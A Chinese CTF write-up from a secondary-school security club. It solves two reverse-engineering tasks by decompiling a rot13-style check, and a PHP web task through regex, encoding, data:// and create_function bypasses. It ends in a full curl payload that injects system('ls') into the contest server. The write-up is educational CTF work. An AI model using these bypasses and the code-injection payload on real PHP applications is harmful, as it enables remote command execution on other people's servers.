您的足迹:首页 > CTF学习 >(原创)2019年“北邮网安杯”第二届全国中学生网络安全技术大赛解题报告
  • 社团XSS平台 xss.klmyssn.com
  • 全国青少年信息技术社团联盟 lm.klmyssn.com
  • 全国中学生CTF论坛 bbs.klmyssn.com
  • 全国中学生CTF平台 ctf.klmyssn.com
  • (原创)2019年“北邮网安杯”第二届全国中学生网络安全技术大赛解题报告


    QQ图片20190122134251.png 

    2019北邮网安”解题报告

    RE

    Re1 simple check-in!

    1.先放进PeiD,看文件类型。(方便后面用IDA的时候知道选择哪个系统版本的IDA



    拖入IDA中,按R转换就出来flag了。



    Re2

    1.先放进PeiD,看文件类型。(方便后面用IDA的时候知道选择哪个系统版本的IDA

    2.拖入IDA中,查看sub_401000,应该是一个自加密,解密一下,正常了。

    得到加密程序:

    bool __cdecl sub_401000(const char *a1)

    {

      signed int v1; // ecx@3

      const char v2; // al@4

      const char v3; // dl@6

      char v5; // [sp+0h] [bp-24h]@3

      char v6; // [sp+1h] [bp-23h]@3

      char v7; // [sp+2h] [bp-22h]@3

      char v8; // [sp+3h] [bp-21h]@3

      char v9; // [sp+4h] [bp-20h]@3

      char v10; // [sp+5h] [bp-1Fh]@3

      char v11; // [sp+6h] [bp-1Eh]@3

      char v12; // [sp+7h] [bp-1Dh]@3

      char v13; // [sp+8h] [bp-1Ch]@3

      char v14; // [sp+9h] [bp-1Bh]@3

      char v15; // [sp+Ah] [bp-1Ah]@3

      char v16; // [sp+Bh] [bp-19h]@3

      char v17; // [sp+Ch] [bp-18h]@3

      char v18; // [sp+Dh] [bp-17h]@3

      char v19; // [sp+Eh] [bp-16h]@3

      char v20; // [sp+Fh] [bp-15h]@3

      char v21; // [sp+10h] [bp-14h]@3

      char v22; // [sp+11h] [bp-13h]@3

      char v23; // [sp+12h] [bp-12h]@3

      char v24; // [sp+13h] [bp-11h]@3

      char v25; // [sp+14h] [bp-10h]@3

      char v26; // [sp+15h] [bp-Fh]@3

      char v27; // [sp+16h] [bp-Eh]@3

      char v28; // [sp+17h] [bp-Dh]@3

      char v29; // [sp+18h] [bp-Ch]@3

      char v30; // [sp+19h] [bp-Bh]@3

      char v31; // [sp+1Ah] [bp-Ah]@3

      char v32; // [sp+1Bh] [bp-9h]@3

      char v33; // [sp+1Ch] [bp-8h]@3

      int v34; // [sp+20h] [bp-4h]@1

     

      v34 = *(_BYTE *)(*(_DWORD *)(__readfsdword(24) + 48) + 2);

      if ( !v34 )

        exit(0);

      v15 = 103;

      v20 = 103;

      v31 = 103;

      v5 = 79;

      v6 = 72;

      v7 = 67;

      v8 = 71;

      v9 = 123;

      v10 = 74;

      v11 = 98;

      v12 = 106;

      v13 = 95;

      v14 = 52;

      v16 = 102;

      v17 = 95;

      v18 = 101;

      v19 = 66;

      v21 = 95;

      v22 = 121;

      v23 = 54;

      v24 = 95;

      v25 = 114;

      v26 = 97;

      v27 = 112;

      v28 = 101;

      v29 = 108;

      v30 = 99;

      v32 = 125;

      v33 = 0;

      v1 = 0;

      do

      {

        v2 = a1[v1];

        if ( v2 >= 97 && v2 <= 122 )

        {

          v3 = (v2 - 84) % 26 + 97;

    LABEL_13:

          a1[v1] = v3;

          goto LABEL_14;

        }

        if ( v2 >= 65 && v2 <= 90 )

        {

          v3 = (v2 - 52) % 26 + 65;

          goto LABEL_13;

        }

        if ( v2 >= 48 && v2 <= 57 )

        {

          v3 = (v2 - 35) % 10 + 48;

          goto LABEL_13;

        }

    LABEL_14:

        ++v1;

      }

      while ( v1 < 28 );

      return strcmp(&v5, a1) != 0;

    }

    3.根据ascii码可以看出 是一个凯撒密码

    4.看到了123 125 {}

    5.简单的转换下 ,得到一串字符串:OHCG{Jbj_4gf_eBg_y6_rapelcg}

    v=[79,72,67,71,123,74,98,106,95,52,103,102,95,101,66,103,95,121,54,95,114,97,112,101,108,99,103,125]

    s=''

    for i in v:

        s+=chr(i)

        print s

    6.能看出来是rot13,但是提交上去不对,想到了rot13并没有将数字偏移,于是将数字也处理下, +10-13

    4+10-13=1

    6+10-13=3

    所以 4替换为16替换为3

    得到flag   BUPT{Wow_1ts_rOt_l3_encrypt}

    WEB

    easy php  PHP is the best language!

    备注:这题的几个考点就是1.$_REQUEST的变量覆盖2.编码绕过3.PHP数组特性4.正则绕过

    5. file_get_contents函数6.creat_function

    1. 这题代码审计,那么几个条件,输出都是一样,为了避免出错,还是本地搭建测试一波,die出来都不一样到时候也好判断哪里出错了。



    2.第一处

    if($_REQUEST) {  

        foreach($_REQUEST as $key=>$value) {  

            if(preg_match('/[a-zA-Z]/i', $value))   

                die('111');  

     

    这里就是$_GET,$_POST,$_COOKIE传进来的值进行了正则匹配,如果包含了A-Za-z的字母就返回111这里的$_REQUEST有一个特性,就是当GETPOST都存在同一个变量名的时候,只获取POST中的值,所以可以通过这个特性来绕过正则的匹配

    2.

    if($_SERVER) {  

        if (preg_match('/flag|liupi|bupt/i', $_SERVER['QUERY_STRING']))   

            die('222');  

    }  

    这里就选择urlencode来绕过

    3.

    $ia = "index.php";  

    if (preg_match('/^buptisfun$/', $_GET['bupt']) && $_GET['bupt'] !== 'buptisfun') {  

        $ia = $_GET["ia"];  

    }

    %0a换行符绕过

    4.

    if(file_get_contents($ia)!=='buptisfun') {  

        die('333');  

    }  

    data://绕过

    5.

    if(preg_match('/^[a-z0-9_]*$/isD', $action)) {  

        die('444');  

    } else {  

        $action('', $arg);  

    }  

    creat_function绕过

    5. 最终在vps上面用curl过去就行;

    Payloadcurl "https://ctf8081.bupt.edu.cn/?%62%75%70%74=%62%75%70%74%69%73%66%75%6e%0a&ia=data://,%62%75%70%74%69%73%66%75%6e&%6c%69%75%70%69[]=&%66%6c%61%67[action]=\\create_function&%66%6c%61%67[arg]=return%20123;\}system('ls');//" -d "bupt=123&ia=123&arg=123"



    得到flag BUPT{PHP_Bl@ck_Tech_1s_Interesting}



    相关推荐

  • 社团XSS平台 xss.klmyssn.com
  • 全国青少年信息技术社团联盟 lm.klmyssn.com
  • 全国中学生CTF论坛 bbs.klmyssn.com
  • 全国中学生CTF平台 ctf.klmyssn.com
  • 社团群号 487202411 广告位招租~

    发表评论

    路人甲 表情
    Ctrl+Enter快速提交

    网友评论(0)